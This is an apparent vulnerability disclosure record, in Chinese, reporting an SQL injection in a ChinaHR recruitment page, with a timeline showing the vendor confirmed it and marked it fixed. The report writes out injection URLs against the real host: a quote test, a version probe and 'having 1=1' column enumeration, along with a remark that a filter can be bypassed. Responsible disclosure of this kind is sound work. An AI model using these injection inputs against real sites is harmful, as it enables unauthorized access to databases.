漏洞概要
关注数(24)
关注此漏洞
漏洞标题:中华英才网sql注入一枚
提交时间:2015-04-03 10:47
修复时间:2015-04-07 10:04
公开时间:2015-04-07 10:04
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:12
漏洞状态:厂商已经修复
Tags标签:
无
漏洞详情
披露状态:
2015-04-03: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-07: 厂商已经修复漏洞并主动公开,细节向公众公开
简要描述:
中华英才网sql注入一枚
详细说明:
http://pages.chinahr.com/2012/bj/sdic_0531/jobs.asp?orgid=200309120019360005
存在问题链接:
首先加个单引号,
http://pages.chinahr.com/2012/bj/sdic_0531/jobs.asp?orgid=200309120019360005’
可以看到,页面空白,我们右键查看源代码。。
可以看到,如下错误信息,知道是mssql。。
http://pages.chinahr.com/2012/bj/sdic_0531/jobs.asp?orgid=200309120019360005 and @@version=1
可以看到,版本为2008.
用工具注入的时候出错。。在这里测试过滤了()..
可以用url编码绕过。这里不绕过,我们直接来猜字段:
http://pages.chinahr.com/2012/bj/sdic_0531/jobs.asp?orgid=200309120019360005 having 1=1
http://pages.chinahr.com/2012/bj/sdic_0531/jobs.asp?orgid=200309120019360005 group by job_id having 1=1
就不一个个去爆了,修补就好。。
漏洞证明:
修复方案:
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:3
确认时间:2015-04-03 17:45
厂商回复:
感谢关注,我们将尽快修复,谢谢
最新状态:
2015-04-07:漏洞已修复,非常感谢您对我们的帮助